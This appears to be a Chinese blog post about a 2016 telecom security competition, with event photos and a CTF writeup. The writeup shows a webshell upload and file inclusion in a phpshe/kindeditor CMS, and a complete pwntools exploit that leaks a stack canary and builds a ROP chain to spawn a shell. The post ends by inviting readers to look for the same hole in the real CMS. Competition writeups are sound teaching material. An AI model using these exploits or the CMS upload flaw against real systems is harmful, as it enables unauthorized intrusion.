猫头鹰
信安舆情早知道

第四届通信网络安全知识技能竞赛心得与部分writeup

2016年10月26日-27日,由工业和信息化部网络安全管理局指导,中国通信企业协会主办,中国通信企业协会通信网络安全专业委员会承办,陕西省通信管理局支持的第四届通信网络安全知识技能竞赛的决赛在古都西安举办。

eversec

决赛为攻防实战,26日比赛内容为笔试、个人上机挑战,27日为网络靶场及团队混战。赛场有基础电信运营企业赛场和综合赛场,综合赛场为基础电信运营企业和安全企业共同参加。参赛选手电信运营企业的55支队伍和安全企业的10支队伍共165安全白帽子。通过笔试、个人上机挑战、网络靶场及团队混战层层难关,历经三轮激烈比拼最终角出个人奖:一等奖5名,二等奖10名,三等奖15名,优秀奖20名;团队奖(综合赛场):一等奖1支队伍,二等奖3支队伍,三等奖6支队伍,优秀奖10支队伍;团队奖(基础赛场):一等奖3支队伍,二等奖6支队伍,三等奖10支队伍。

笔者以安全企业参赛队(eversec)的身份参与比赛。西安的这次比赛已经举办了几次了,历届网上都是有相关资料和原题的。

eversec2

前方高能

领导致辞

qq%e5%9b%be%e7%89%8720161109115416

qq%e5%9b%be%e7%89%8720161109115419

qq%e5%9b%be%e7%89%8720161109115422

qq%e5%9b%be%e7%89%8720161109115425

比赛现场如火如荼

local201610281146000016060320804

有关领导作为颁奖嘉宾出席颁奖仪式为获奖选手颁奖

qq%e5%9b%be%e7%89%8720161109115710

qq%e5%9b%be%e7%89%8720161109115713

qq%e5%9b%be%e7%89%8720161109115721

qq%e5%9b%be%e7%89%8720161109115724

神奇少年酒品人品俱佳,侥(shi)幸(li)拿(yong)了(duo)团体二等奖。

qq%e5%9b%be%e7%89%8720161109120059

 

writeup

比赛前我们对笔试和攻防中可能遇到的问题,就行了猜测和分析。笔试部分考察的就是你对安全的理论知识的掌握了,还包含了通信、协议、系统、逆向、代码审计、应急处理、政策以及法律法规等知识。比赛前我们的准备就是突击原题和看相关理论资料。

而攻防对抗赛则是常规ctf比赛,包含逆向、pwn、web渗透等,这里我们着重考虑内网转发和比赛现场完全隔离外网的情况。内网探测和转发代理必须要可靠,必须要稳定。我们的方案预备了2个方案。一个是socket5代理。一个是建立vpn。赛场设置干扰器隔离外网,我们就准备了不少cms的exp和搭建了乌云镜像。

比赛刚开始,我们可以直接攻击有3个web系统和做pwn。当比赛进行2个小时候,赛场开放了公共高地。比赛后发现这个高地对比赛的成绩影响很大,其他题目的flag分值只有几十分,上百分。而这个高地flag分值为1000分。

共同高地进行攻击时,我们发现了web上有个zip压缩包,下载下来,发现是源码,于是迅速找到了数据库配置文件,而且数据库帐号居然用了root,尝试连接高地的数据库,结果发现端口是开放的,连接数超出了限制。当时就感觉手速慢了,这么多年单身也白单了。

没办法于是我对源码进行了审计,在wwwroot\include\plugin\editor\php\下有个upload_json.php,这个文件是个上传文件。

eversec3

上传成功后会返回和日期有关的命名方式,跟踪到上传类发现,可以上传php5扩展名的文件。

eversec4

而且重命名的方式则是日期加英文字母命名。

eversec5

于是快马加鞭构造了上传表单,上传了php5木马,burp爆破路径后,成功获取webshell。

其实,即使不用上传php5文件依旧可以拿shell。

eversec6

在module\index\note.php文件中有这么一句包含,无身份认证,直接可本地包含,只是上传php5速度更快。记得火云邪神说过,天下武功,为快不破。说的就是打公共高地的套路吧。

WP

1.运行查看:

wp1

如图:运行后需要输入内容,随便输入:111111,提示上面信息

2. IDA静态分析该文件,通过分析漏洞位置如图所示:

当我们在函数sub_400A19中,传入的a1值长度超过16,程序就不会退出而是继续执行到sub_40094D位置。

wp2

进入sub_40094D函数后,我们分析程序。

wp3

从图中我们可以看出可能为格式化字符串漏洞。

3.边调试边查看源代码

  • gdb开始调试程序:

调试前,我们先检查下程序都有什么保护措施

wp4

从图中我们可以看出该pwn程序开启canary和NX保护。

  • 通过IDA分析,我们找到sprintf函数地址下断点(鼠标定位到sprintf函数,按Tab键就进入汇编代码,直接copy地址并在gdb中下断点)

wp5

然后通过命令 r 运行,此时程序需要我们输入数据并断在断点1处。

wp6

wp7

另一个字符串/bin/sh在栈顶。继续程序运行结束,我们发现会打印出栈顶三个地址里的值,下图:

wp8

到这里就可以确定是格式化字符串漏洞,我们可以取出栈顶地址中的值。

  • 继续向下我们看到有一个read函数,而这个函数在向buf数组中存值的时候也没有判断buf长度,由此我们知道可以传入大量的字符来覆盖

返回地址,使程序执行我们的代码,如下图,我们传入大量A字符,发现把RBP和返回地址都已经覆盖。

wp9

上图中可以看到返回地址在0x7fffffffe448处,下图通过大量的A把返回地址覆盖了

wp10

  • 到这里我们就可以来覆盖返回地址为我们在程序中找到的system函数地址和/bin/sh字符串的地址就可以通过pwn模块获取shell了

找/bin/sh地址IDA中可以看到:

wp11

system函数地址直接在IDA中就可以找到它的地址。

  • 接下来我们只要通过ROPgadget在程序中找到一个pop rdi,ret的gadget就可以,把找到的这个地址放到函数返回去,来构造system函数的参数,当   然构造payload,我们还要计算在返回地址前我们要覆盖多少个A字符才能精确覆盖到返回地址处。通过计算需要88个A才能到返回地址

也就是说payload为:’A’*88 + gadget(pop rdi,ret)地址 + system函数地址。事实真的如此吗?

  • 同时之前我们在checksec pwn时,发现它含有canary保护,这就要我们在覆盖返回地址时不能破坏canary。这是我们就可以通过print函数格式化字符串 %n$llx 把第n个参数对应的地址值打印出来,通过调试确定这个n=17,这时我们的payload为:

‘A’*72 + canary + ‘A’*8 + gadget(pop rdi,ret)地址 + system函数地址

所以最后构造的exp为:

# -*- coding: utf-8 -*-
 
from pwn import *
 
p = process("./pwn")
#p = remote("106.75.37.29",10000)
binsh_addr = 0x0000000000400B98 #/bin/sh的地址
system = 0x00000000004009F2
popret = 0x0000000000400b73 # pop rdi,ret
p.sendline('a'*20)
p.sendline(r"%17$llx")
canary = p.recv()[13:-30]
print "canary is: " + canary
a = int(canary,16)
print a
p.sendline('A'*72 + p64(a) + 'A'*8 + p64(popret) + p64(binsh_addr) + p64(system))
p.interactive()

运行结果为:

wp12

彩蛋

最后送大家一个可能的福利。该系统为phpshe、编辑器为kindeditor,是否该cms真的具有通用漏洞。大家可以去发掘发掘,就算挖不到研究下技术也是好的。

转载请注明来自MottoIN,未经允许不得转载!MottoIN » 第四届通信网络安全知识技能竞赛心得与部分writeup

分享到:更多 ()

评论 1

评论前必须登录!

 

MottoIN 换一个角度看安全

寻求报道联系我们